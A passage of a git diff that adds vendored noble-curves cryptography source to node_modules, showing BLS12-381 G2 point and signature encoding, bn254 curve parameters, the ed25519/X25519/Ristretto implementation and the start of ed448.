_3n), b); // y² = x³ + 4 * (u+1) = x³ + b + let y = Fp2.sqrt(right); + const Y_bit = y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P ? _1n : _0n; + y = bitS > 0 && Y_bit > 0 ? y : Fp2.neg(y); + return { x, y }; + } else if (bytes.length === 192 && !bitC) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) { + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x1 = slc(bytes, 0, L); + const x0 = slc(bytes, L, 2 * L); + const y1 = slc(bytes, 2 * L, 3 * L); + const y0 = slc(bytes, 3 * L, 4 * L); + return { x: Fp2.fromBigTuple([x0, x1]), y: Fp2.fromBigTuple([y0, y1]) }; + } else { + throw new Error('Invalid point G2, expected 96/192 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const { BYTES: len, ORDER: P } = Fp; + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) return concatB(COMPRESSED_ZERO, numberToBytesBE(_0n, len)); + const flag = Boolean(y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P); + // set compressed & sign bits (looks like different offsets than for G1/Fp?) + let x_1 = bitSet(x.c1, C_BIT_POS, flag); + x_1 = bitSet(x_1, S_BIT_POS, true); + return concatB(numberToBytesBE(x_1, len), numberToBytesBE(x.c0, len)); + } else { + if (isZero) return concatB(new Uint8Array([0x40]), new Uint8Array(4 * len - 1)); // bytes[0] |= 1 << 6; + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + return concatB( + numberToBytesBE(x1, len), + numberToBytesBE(x0, len), + numberToBytesBE(y1, len), + numberToBytesBE(y0, len) + ); + } + }, + Signature: { + // TODO: Optimize, it's very slow because of sqrt. + fromHex(hex: Hex): ProjPointType { + hex = ensureBytes('signatureHex', hex); + const P = Fp.ORDER; + const half = hex.length / 2; + if (half !== 48 && half !== 96) + throw new Error('Invalid compressed signature length, must be 96 or 192'); + const z1 = bytesToNumberBE(hex.slice(0, half)); + const z2 = bytesToNumberBE(hex.slice(half)); + // Indicates the infinity point + const bflag1 = bitGet(z1, I_BIT_POS); + if (bflag1 === _1n) return bls12_381.G2.ProjectivePoint.ZERO; + + const x1 = Fp.create(z1 & Fp.MASK); + const x2 = Fp.create(z2); + const x = Fp2.create({ c0: x2, c1: x1 }); + const y2 = Fp2.add(Fp2.pow(x, _3n), bls12_381.params.G2b); // y² = x³ + 4 + // The slow part + let y = Fp2.sqrt(y2); + if (!y) throw new Error('Failed to find a square root'); + + // Choose the y whose leftmost bit of the imaginary part is equal to the a_flag1 + // If y1 happens to be zero, then use the bit of y0 + const { re: y0, im: y1 } = Fp2.reim(y); + const aflag1 = bitGet(z1, 381); + const isGreater = y1 > _0n && (y1 * _2n) / P !== aflag1; + const isZero = y1 === _0n && (y0 * _2n) / P !== aflag1; + if (isGreater || isZero) y = Fp2.neg(y); + const point = bls12_381.G2.ProjectivePoint.fromAffine({ x, y }); + point.assertValidity(); + return point; + }, + toRawBytes(point: ProjPointType) { + return signatureG2ToRawBytes(point); + }, + toHex(point: ProjPointType) { + return bytesToHex(signatureG2ToRawBytes(point)); + }, + }, + }, + params: { + x: BLS_X, // The BLS parameter x for BLS12-381 + r: Fr.ORDER, // order; z⁴ − z² + 1; CURVE.n from other curves + }, + htfDefaults, + hash: sha256, + randomBytes, +}); diff --git a/node_modules/@noble/curves/src/bn254.ts b/node_modules/@noble/curves/src/bn254.ts new file mode 100644 index 000000000000..64ccfe0c4196 --- /dev/null +++ b/node_modules/@noble/curves/src/bn254.ts @@ -0,0 +1,21 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha256 } from '@noble/hashes/sha256'; +import { weierstrass } from './abstract/weierstrass.js'; +import { getHash } from './_shortw_utils.js'; +import { Field } from './abstract/modular.js'; +/** + * bn254 pairing-friendly curve. + * Previously known as alt_bn_128, when it had 128-bit security. + * Recent research shown it's weaker, the naming has been adjusted to its prime bit count. + * https://github.com/zcash/zcash/issues/2502 + */ +export const bn254 = weierstrass({ + a: BigInt(0), + b: BigInt(3), + Fp: Field(BigInt('0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47')), + n: BigInt('0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001'), + Gx: BigInt(1), + Gy: BigInt(2), + h: BigInt(1), + ...getHash(sha256), +}); diff --git a/node_modules/@noble/curves/src/ed25519.ts b/node_modules/@noble/curves/src/ed25519.ts new file mode 100644 index 000000000000..896f4eea1953 --- /dev/null +++ b/node_modules/@noble/curves/src/ed25519.ts @@ -0,0 +1,489 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { sha512 } from '@noble/hashes/sha512'; +import { concatBytes, randomBytes, utf8ToBytes } from '@noble/hashes/utils'; +import { ExtPointType, twistedEdwards } from './abstract/edwards.js'; +import { montgomery } from './abstract/montgomery.js'; +import { Field, FpSqrtEven, isNegativeLE, mod, pow2 } from './abstract/modular.js'; +import { + bytesToHex, + bytesToNumberLE, + ensureBytes, + equalBytes, + Hex, + numberToBytesLE, +} from './abstract/utils.js'; +import { createHasher, htfBasicOpts, expand_message_xmd } from './abstract/hash-to-curve.js'; +import { AffinePoint } from './abstract/curve.js'; + +/** + * ed25519 Twisted Edwards curve with following addons: + * - X25519 ECDH + * - Ristretto cofactor elimination + * - Elligator hash-to-group / point indistinguishability + */ + +const ED25519_P = BigInt( + '57896044618658097711785492504343953926634992332820282019728792003956564819949' +); +// √(-1) aka √(a) aka 2^((p-1)/4) +const ED25519_SQRT_M1 = BigInt( + '19681161376707505956807079304988542015446066515923890162744021073123829784752' +); + +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _5n = BigInt(5); +// prettier-ignore +const _10n = BigInt(10), _20n = BigInt(20), _40n = BigInt(40), _80n = BigInt(80); + +function ed25519_pow_2_252_3(x: bigint) { + const P = ED25519_P; + const x2 = (x * x) % P; + const b2 = (x2 * x) % P; // x^3, 11 + const b4 = (pow2(b2, _2n, P) * b2) % P; // x^15, 1111 + const b5 = (pow2(b4, _1n, P) * x) % P; // x^31 + const b10 = (pow2(b5, _5n, P) * b5) % P; + const b20 = (pow2(b10, _10n, P) * b10) % P; + const b40 = (pow2(b20, _20n, P) * b20) % P; + const b80 = (pow2(b40, _40n, P) * b40) % P; + const b160 = (pow2(b80, _80n, P) * b80) % P; + const b240 = (pow2(b160, _80n, P) * b80) % P; + const b250 = (pow2(b240, _10n, P) * b10) % P; + const pow_p_5_8 = (pow2(b250, _2n, P) * x) % P; + // ^ To pow to (p+3)/8, multiply it by x. + return { pow_p_5_8, b2 }; +} + +function adjustScalarBytes(bytes: Uint8Array): Uint8Array { + // Section 5: For X25519, in order to decode 32 random bytes as an integer scalar, + // set the three least significant bits of the first byte + bytes[0] &= 248; // 0b1111_1000 + // and the most significant bit of the last to zero, + bytes[31] &= 127; // 0b0111_1111 + // set the second most significant bit of the last byte to 1 + bytes[31] |= 64; // 0b0100_0000 + return bytes; +} + +// sqrt(u/v) +function uvRatio(u: bigint, v: bigint): { isValid: boolean; value: bigint } { + const P = ED25519_P; + const v3 = mod(v * v * v, P); // v³ + const v7 = mod(v3 * v3 * v, P); // v⁷ + // (p+3)/8 and (p-5)/8 + const pow = ed25519_pow_2_252_3(u * v7).pow_p_5_8; + let x = mod(u * v3 * pow, P); // (uv³)(uv⁷)^(p-5)/8 + const vx2 = mod(v * x * x, P); // vx² + const root1 = x; // First root candidate + const root2 = mod(x * ED25519_SQRT_M1, P); // Second root candidate + const useRoot1 = vx2 === u; // If vx² = u (mod p), x is a square root + const useRoot2 = vx2 === mod(-u, P); // If vx² = -u, set x <-- x * 2^((p-1)/4) + const noRoot = vx2 === mod(-u * ED25519_SQRT_M1, P); // There is no valid root, vx² = -u√(-1) + if (useRoot1) x = root1; + if (useRoot2 || noRoot) x = root2; // We return root2 anyway, for const-time + if (isNegativeLE(x, P)) x = mod(-x, P); + return { isValid: useRoot1 || useRoot2, value: x }; +} + +// Just in case +export const ED25519_TORSION_SUBGROUP = [ + '0100000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a', + '0000000000000000000000000000000000000000000000000000000000000080', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc05', + 'ecffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7f', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc85', + '0000000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', +]; + +const Fp = Field(ED25519_P, undefined, true); + +const ed25519Defaults = { + // Param: a + a: BigInt(-1), // Fp.create(-1) is proper; our way still works and is faster + // d is equal to -121665/121666 over finite field. + // Negative number is P - number, and division is invert(number, P) + d: BigInt('37095705934669439343138083508754565189542113879843219016388785533085940283555'), + // Finite field 𝔽p over which we'll do calculations; 2n**255n - 19n + Fp, + // Subgroup order: how many points curve has + // 2n**252n + 27742317777372353535851937790883648493n; + n: BigInt('7237005577332262213973186563042994240857116359379907606001950938285454250989'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('15112221349535400772501151409588531511454012693041857206046113283949847762202'), + Gy: BigInt('46316835694926478169428394003475163141307993866256225615783033603165251855960'), + hash: sha512, + randomBytes, + adjustScalarBytes, + // dom2 + // Ratio of u to v. Allows us to combine inversion and square root. Uses algo from RFC8032 5.1.3. + // Constant-time, u/√v + uvRatio, +} as const; + +export const ed25519 = /* @__PURE__ */ twistedEdwards(ed25519Defaults); + +function ed25519_domain(data: Uint8Array, ctx: Uint8Array, phflag: boolean) { + if (ctx.length > 255) throw new Error('Context is too big'); + return concatBytes( + utf8ToBytes('SigEd25519 no Ed25519 collisions'), + new Uint8Array([phflag ? 1 : 0, ctx.length]), + ctx, + data + ); +} + +export const ed25519ctx = /* @__PURE__ */ twistedEdwards({ + ...ed25519Defaults, + domain: ed25519_domain, +}); +export const ed25519ph = /* @__PURE__ */ twistedEdwards({ + ...ed25519Defaults, + domain: ed25519_domain, + prehash: sha512, +}); + +export const x25519 = /* @__PURE__ */ (() => + montgomery({ + P: ED25519_P, + a: BigInt(486662), + montgomeryBits: 255, // n is 253 bits + nByteLength: 32, + Gu: BigInt(9), + powPminus2: (x: bigint): bigint => { + const P = ED25519_P; + // x^(p-2) aka x^(2^255-21) + const { pow_p_5_8, b2 } = ed25519_pow_2_252_3(x); + return mod(pow2(pow_p_5_8, BigInt(3), P) * b2, P); + }, + adjustScalarBytes, + randomBytes, + }))(); + +/** + * Converts ed25519 public key to x25519 public key. Uses formula: + * * `(u, v) = ((1+y)/(1-y), sqrt(-486664)*u/x)` + * * `(x, y) = (sqrt(-486664)*u/v, (u-1)/(u+1))` + * @example + * const someonesPub = ed25519.getPublicKey(ed25519.utils.randomPrivateKey()); + * const aPriv = x25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(aPriv, edwardsToMontgomeryPub(someonesPub)) + */ +export function edwardsToMontgomeryPub(edwardsPub: Hex): Uint8Array { + const { y } = ed25519.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((_1n + y) * Fp.inv(_1n - y))); +} +export const edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated + +/** + * Converts ed25519 secret key to x25519 secret key. + * @example + * const someonesPub = x25519.getPublicKey(x25519.utils.randomPrivateKey()); + * const aPriv = ed25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(edwardsToMontgomeryPriv(aPriv), someonesPub) + */ +export function edwardsToMontgomeryPriv(edwardsPriv: Uint8Array): Uint8Array { + const hashed = ed25519Defaults.hash(edwardsPriv.subarray(0, 32)); + return ed25519Defaults.adjustScalarBytes(hashed).subarray(0, 32); +} + +// Hash To Curve Elligator2 Map (NOTE: different from ristretto255 elligator) +// NOTE: very important part is usage of FpSqrtEven for ELL2_C1_EDWARDS, since +// SageMath returns different root first and everything falls apart + +const ELL2_C1 = (Fp.ORDER + BigInt(3)) / BigInt(8); // 1. c1 = (q + 3) / 8 # Integer arithmetic + +const ELL2_C2 = Fp.pow(_2n, ELL2_C1); // 2. c2 = 2^c1 +const ELL2_C3 = Fp.sqrt(Fp.neg(Fp.ONE)); // 3. c3 = sqrt(-1) +const ELL2_C4 = (Fp.ORDER - BigInt(5)) / BigInt(8); // 4. c4 = (q - 5) / 8 # Integer arithmetic +const ELL2_J = BigInt(486662); + +// prettier-ignore +function map_to_curve_elligator2_curve25519(u: bigint) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, _2n); // 2. tv1 = 2 * tv1 + let xd = Fp.add(tv1, Fp.ONE); // 3. xd = tv1 + 1 # Nonzero: -1 is square (mod p), tv1 is not + let x1n = Fp.neg(ELL2_J); // 4. x1n = -J # x1 = x1n / xd = -J / (1 + 2 * u^2) + let tv2 = Fp.sqr(xd); // 5. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 6. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, ELL2_J); // 7. gx1 = J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 8. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 9. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 10. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 11. tv3 = gxd^2 + tv2 = Fp.sqr(tv3); // 12. tv2 = tv3^2 # gxd^4 + tv3 = Fp.mul(tv3, gxd); // 13. tv3 = tv3 * gxd # gxd^3 + tv3 = Fp.mul(tv3, gx1); // 14. tv3 = tv3 * gx1 # gx1 * gxd^3 + tv2 = Fp.mul(tv2, tv3); // 15. tv2 = tv2 * tv3 # gx1 * gxd^7 + let y11 = Fp.pow(tv2, ELL2_C4); // 16. y11 = tv2^c4 # (gx1 * gxd^7)^((p - 5) / 8) + y11 = Fp.mul(y11, tv3); // 17. y11 = y11 * tv3 # gx1*gxd^3*(gx1*gxd^7)^((p-5)/8) + let y12 = Fp.mul(y11, ELL2_C3); // 18. y12 = y11 * c3 + tv2 = Fp.sqr(y11); // 19. tv2 = y11^2 + tv2 = Fp.mul(tv2, gxd); // 20. tv2 = tv2 * gxd + let e1 = Fp.eql(tv2, gx1); // 21. e1 = tv2 == gx1 + let y1 = Fp.cmov(y12, y11, e1); // 22. y1 = CMOV(y12, y11, e1) # If g(x1) is square, this is its sqrt + let x2n = Fp.mul(x1n, tv1); // 23. x2n = x1n * tv1 # x2 = x2n / xd = 2 * u^2 * x1n / xd + let y21 = Fp.mul(y11, u); // 24. y21 = y11 * u + y21 = Fp.mul(y21, ELL2_C2); // 25. y21 = y21 * c2 + let y22 = Fp.mul(y21, ELL2_C3); // 26. y22 = y21 * c3 + let gx2 = Fp.mul(gx1, tv1); // 27. gx2 = gx1 * tv1 # g(x2) = gx2 / gxd = 2 * u^2 * g(x1) + tv2 = Fp.sqr(y21); // 28. tv2 = y21^2 + tv2 = Fp.mul(tv2, gxd); // 29. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx2); // 30. e2 = tv2 == gx2 + let y2 = Fp.cmov(y22, y21, e2); // 31. y2 = CMOV(y22, y21, e2) # If g(x2) is square, this is its sqrt + tv2 = Fp.sqr(y1); // 32. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 33. tv2 = tv2 * gxd + let e3 = Fp.eql(tv2, gx1); // 34. e3 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e3); // 35. xn = CMOV(x2n, x1n, e3) # If e3, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e3); // 36. y = CMOV(y2, y1, e3) # If e3, y = y1, else y = y2 + let e4 = Fp.isOdd(y); // 37. e4 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e3 !== e4); // 38. y = CMOV(y, -y, e3 XOR e4) + return { xMn: xn, xMd: xd, yMn: y, yMd: _1n }; // 39. return (xn, xd, y, 1) +} + +const ELL2_C1_EDWARDS = FpSqrtEven(Fp, Fp.neg(BigInt(486664))); // sgn0(c1) MUST equal 0 +function map_to_curve_elligator2_edwards25519(u: bigint) { + const { xMn, xMd, yMn, yMd } = map_to_curve_elligator2_curve25519(u); // 1. (xMn, xMd, yMn, yMd) = + // map_to_curve_elligator2_curve25519(u) + let xn = Fp.mul(xMn, yMd); // 2. xn = xMn * yMd + xn = Fp.mul(xn, ELL2_C1_EDWARDS); // 3. xn = xn * c1 + let xd = Fp.mul(xMd, yMn); // 4. xd = xMd * yMn # xn / xd = c1 * xM / yM + let yn = Fp.sub(xMn, xMd); // 5. yn = xMn - xMd + let yd = Fp.add(xMn, xMd); // 6. yd = xMn + xMd # (n / d - 1) / (n / d + 1) = (n - d) / (n + d) + let tv1 = Fp.mul(xd, yd); // 7. tv1 = xd * yd + let e = Fp.eql(tv1, Fp.ZERO); // 8. e = tv1 == 0 + xn = Fp.cmov(xn, Fp.ZERO, e); // 9. xn = CMOV(xn, 0, e) + xd = Fp.cmov(xd, Fp.ONE, e); // 10. xd = CMOV(xd, 1, e) + yn = Fp.cmov(yn, Fp.ONE, e); // 11. yn = CMOV(yn, 1, e) + yd = Fp.cmov(yd, Fp.ONE, e); // 12. yd = CMOV(yd, 1, e) + + const inv = Fp.invertBatch([xd, yd]); // batch division + return { x: Fp.mul(xn, inv[0]), y: Fp.mul(yn, inv[1]) }; // 13. return (xn, xd, yn, yd) +} + +const htf = /* @__PURE__ */ (() => + createHasher( + ed25519.ExtendedPoint, + (scalars: bigint[]) => map_to_curve_elligator2_edwards25519(scalars[0]), + { + DST: 'edwards25519_XMD:SHA-512_ELL2_RO_', + encodeDST: 'edwards25519_XMD:SHA-512_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha512, + } + ))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); + +function assertRstPoint(other: unknown) { + if (!(other instanceof RistPoint)) throw new Error('RistrettoPoint expected'); +} + +// √(-1) aka √(a) aka 2^((p-1)/4) +const SQRT_M1 = ED25519_SQRT_M1; +// √(ad - 1) +const SQRT_AD_MINUS_ONE = BigInt( + '25063068953384623474111414158702152701244531502492656460079210482610430750235' +); +// 1 / √(a-d) +const INVSQRT_A_MINUS_D = BigInt( + '54469307008909316920995813868745141605393597292927456921205312896311721017578' +); +// 1-d² +const ONE_MINUS_D_SQ = BigInt( + '1159843021668779879193775521855586647937357759715417654439879720876111806838' +); +// (d-1)² +const D_MINUS_ONE_SQ = BigInt( + '40440834346308536858101042469323190826248399146238708352240133220865137265952' +); +// Calculates 1/√(number) +const invertSqrt = (number: bigint) => uvRatio(_1n, number); + +const MAX_255B = BigInt('0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const bytes255ToNumberLE = (bytes: Uint8Array) => + ed25519.CURVE.Fp.create(bytesToNumberLE(bytes) & MAX_255B); + +type ExtendedPoint = ExtPointType; + +// Computes Elligator map for Ristretto +// https://ristretto.group/formulas/elligator.html +function calcElligatorRistrettoMap(r0: bigint): ExtendedPoint { + const { d } = ed25519.CURVE; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const r = mod(SQRT_M1 * r0 * r0); // 1 + const Ns = mod((r + _1n) * ONE_MINUS_D_SQ); // 2 + let c = BigInt(-1); // 3 + const D = mod((c - d * r) * mod(r + d)); // 4 + let { isValid: Ns_D_is_sq, value: s } = uvRatio(Ns, D); // 5 + let s_ = mod(s * r0); // 6 + if (!isNegativeLE(s_, P)) s_ = mod(-s_); + if (!Ns_D_is_sq) s = s_; // 7 + if (!Ns_D_is_sq) c = r; // 8 + const Nt = mod(c * (r - _1n) * D_MINUS_ONE_SQ - D); // 9 + const s2 = s * s; + const W0 = mod((s + s) * D); // 10 + const W1 = mod(Nt * SQRT_AD_MINUS_ONE); // 11 + const W2 = mod(_1n - s2); // 12 + const W3 = mod(_1n + s2); // 13 + return new ed25519.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} + +/** + * Each ed25519/ExtendedPoint has 8 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Ristretto was created to solve this. + * Ristretto point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class RistPoint { + static BASE: RistPoint; + static ZERO: RistPoint; + // Private property to discourage combining ExtendedPoint + RistrettoPoint + // Always use Ristretto encoding/decoding instead. + constructor(private readonly ep: ExtendedPoint) {} + + static fromAffine(ap: AffinePoint) { + return new RistPoint(ed25519.ExtendedPoint.fromAffine(ap)); + } + + /** + * Takes uniform output of 64-byte hash function like sha512 and converts it to `RistrettoPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://ristretto.group/formulas/elligator.html + * @param hex 64-byte output of a hash function + */ + static hashToCurve(hex: Hex): RistPoint { + hex = ensureBytes('ristrettoHash', hex, 64); + const r1 = bytes255ToNumberLE(hex.slice(0, 32)); + const R1 = calcElligatorRistrettoMap(r1); + const r2 = bytes255ToNumberLE(hex.slice(32, 64)); + const R2 = calcElligatorRistrettoMap(r2); + return new RistPoint(R1.add(R2)); + } + + /** + * Converts ristretto-encoded string to ristretto point. + * https://ristretto.group/formulas/decoding.html + * @param hex Ristretto-encoded 32 bytes. Not every 32-byte string is valid ristretto encoding + */ + static fromHex(hex: Hex): RistPoint { + hex = ensureBytes('ristrettoHex', hex, 32); + const { a, d } = ed25519.CURVE; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const emsg = 'RistrettoPoint.fromHex: the hex is not valid encoding of RistrettoPoint'; + const s = bytes255ToNumberLE(hex); + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 3. Check that s is non-negative, or else abort + if (!equalBytes(numberToBytesLE(s, 32), hex) || isNegativeLE(s, P)) throw new Error(emsg); + const s2 = mod(s * s); + const u1 = mod(_1n + a * s2); // 4 (a is -1) + const u2 = mod(_1n - a * s2); // 5 + const u1_2 = mod(u1 * u1); + const u2_2 = mod(u2 * u2); + const v = mod(a * d * u1_2 - u2_2); // 6 + const { isValid, value: I } = invertSqrt(mod(v * u2_2)); // 7 + const Dx = mod(I * u2); // 8 + const Dy = mod(I * Dx * v); // 9 + let x = mod((s + s) * Dx); // 10 + if (isNegativeLE(x, P)) x = mod(-x); // 10 + const y = mod(u1 * Dy); // 11 + const t = mod(x * y); // 12 + if (!isValid || isNegativeLE(t, P) || y === _0n) throw new Error(emsg); + return new RistPoint(new ed25519.ExtendedPoint(x, y, _1n, t)); + } + + /** + * Encodes ristretto point to Uint8Array. + * https://ristretto.group/formulas/encoding.html + */ + toRawBytes(): Uint8Array { + let { ex: x, ey: y, ez: z, et: t } = this.ep; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const u1 = mod(mod(z + y) * mod(z - y)); // 1 + const u2 = mod(x * y); // 2 + // Square root always exists + const u2sq = mod(u2 * u2); + const { value: invsqrt } = invertSqrt(mod(u1 * u2sq)); // 3 + const D1 = mod(invsqrt * u1); // 4 + const D2 = mod(invsqrt * u2); // 5 + const zInv = mod(D1 * D2 * t); // 6 + let D: bigint; // 7 + if (isNegativeLE(t * zInv, P)) { + let _x = mod(y * SQRT_M1); + let _y = mod(x * SQRT_M1); + x = _x; + y = _y; + D = mod(D1 * INVSQRT_A_MINUS_D); + } else { + D = D2; // 8 + } + if (isNegativeLE(x * zInv, P)) y = mod(-y); // 9 + let s = mod((z - y) * D); // 10 (check footer's note, no sqrt(-a)) + if (isNegativeLE(s, P)) s = mod(-s); + return numberToBytesLE(s, 32); // 11 + } + + toHex(): string { + return bytesToHex(this.toRawBytes()); + } + + toString(): string { + return this.toHex(); + } + + // Compare one point to another. + equals(other: RistPoint): boolean { + assertRstPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = ed25519.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) | (y1 * y2 == x1 * x2) + const one = mod(X1 * Y2) === mod(Y1 * X2); + const two = mod(Y1 * Y2) === mod(X1 * X2); + return one || two; + } + + add(other: RistPoint): RistPoint { + assertRstPoint(other); + return new RistPoint(this.ep.add(other.ep)); + } + + subtract(other: RistPoint): RistPoint { + assertRstPoint(other); + return new RistPoint(this.ep.subtract(other.ep)); + } + + multiply(scalar: bigint): RistPoint { + return new RistPoint(this.ep.multiply(scalar)); + } + + multiplyUnsafe(scalar: bigint): RistPoint { + return new RistPoint(this.ep.multiplyUnsafe(scalar)); + } +} +export const RistrettoPoint = /* @__PURE__ */ (() => { + if (!RistPoint.BASE) RistPoint.BASE = new RistPoint(ed25519.ExtendedPoint.BASE); + if (!RistPoint.ZERO) RistPoint.ZERO = new RistPoint(ed25519.ExtendedPoint.ZERO); + return RistPoint; +})(); + +// Hashing to ristretto255. https://www.rfc-editor.org/rfc/rfc9380#appendix-B +export const hashToRistretto255 = (msg: Uint8Array, options: htfBasicOpts) => { + const d = options.DST; + const DST = typeof d === 'string' ? utf8ToBytes(d) : d; + const uniform_bytes = expand_message_xmd(msg, DST, 64, sha512); + const P = RistPoint.hashToCurve(uniform_bytes); + return P; +}; +export const hash_to_ristretto255 = hashToRistretto255; // legacy diff --git a/node_modules/@noble/curves/src/ed448.ts b/node_modules/@noble/curves/src/ed448.ts new file mode 100644 index 000000000000..0e5477a5cad6 --- /dev/null +++ b/node_modules/@noble/curves/src/ed448.ts @@ -0,0 +1,465 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { shake256 } from '@noble/hashes/sha3'; +import { concatBytes, randomBytes, utf8ToBytes, wrapConstructor } from '@noble/hashes/utils'; +import { ExtPointType, twistedEdwards } from './abstract/edwards.js'; +import { mod, pow2, Field, isNegativeLE } from './abstract/modular.js'; +import { montgomery } from './abstract/montgomery.js'; +import { createHasher, htfBasicOpts, expand_message_xof } from './abstract/hash-to-curve.js'; +import { + bytesToHex, + bytesToNumberLE, + ensureBytes, + equalBytes, + Hex, + numberToBytesLE, +} from './abstract/utils.js'; +import { AffinePoint } from './abstract/curve.js'; + +/** + * Edwards448 (not Ed448-Goldilocks) curve with following addons: + * - X448 ECDH + * - Decaf cofactor elimination + * - Elligator hash-to-group / point indistinguishability + * Conforms to RFC 8032 https://www.rfc-editor.org/rfc/rfc8032.html#section-5.2 + */ + +const shake256_114 = wrapConstructor(() => shake256.create({ dkLen: 114 })); +const shake256_64 = wrapConstructor(() => shake256.create({ dkLen: 64 })); +const ed448P = BigInt( + '726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018365439' +); + +// prettier-ignore +const _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4), _11n = BigInt(11); +// prettier-ignore +const _22n = BigInt(22), _44n = BigInt(44), _88n = BigInt(88), _223n = BigInt(223); + +// powPminus3div4 calculates z = x^k mod p, where k = (p-3)/4. +// Used for efficient square root calculation. +// ((P-3)/4).toString(2) would produce bits [223x 1, 0, 222x 1] +function ed448_pow_Pminus3div4(x: bigint): bigint { + const P = ed448P; + const b2 = (x * x * x) % P; + const b3 = (b2 * b2 * x) % P; + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = (pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b222 = (pow2(b220, _2n, P) * b2) % P; + const b223 = (pow2(b222, _1n, P) * x) % P; + return (pow2(b223, _223n, P) * b222) % P; +} + +function adjustScalarBytes(bytes: Uint8Array): Uint8Array { + // Section 5: Likewise, for X448, set the two least significant bits of the first byte to 0, and the most + // significant bit of the last byte to 1. + bytes[0] &= 252; // 0b11111100 + // and the most significant bit of the last byte to 1. + bytes[55] |= 128; // 0b10000000 + // NOTE: is is NOOP for 56 bytes scalars (X25519/X448) + bytes[56] = 0; // Byte outside of group (456 buts vs 448 bits) + return bytes; +} + +// Constant-time ratio of u to v. Allows to combine inversion and square root u/√v. +// Uses algo from RFC8032 5.1.3. +function uvRatio(u: bigint, v: bigint): { isValid: boolean; value: bigint } { + const P = ed448P; + // https://www.rfc-editor.org/rfc/rfc8032#section-5.2.3 + // To compute the square root of (u/v), the first step is to compute the + // candidate root x = (u/v)^((p+1)/4). This can be done using the + // following trick, to use a single modular powering for both the + // inversion of v and the square root: + // x = (u/v)^((p+1)/4) = u³v(u⁵v³)^((p-3)/4) (mod p) + const u2v = mod(u * u * v, P); // u²v + const u3v = mod(u2v * u, P); // u³v + const u5v3 = mod(u3v * u2v * v, P); // u⁵v³ + const root = ed448_pow_Pminus3div4(u5v3); + const x = mod(u3v * root, P); + // Verify that root is exists + const x2 = mod(x * x, P); // x² + // If vx² = u, the 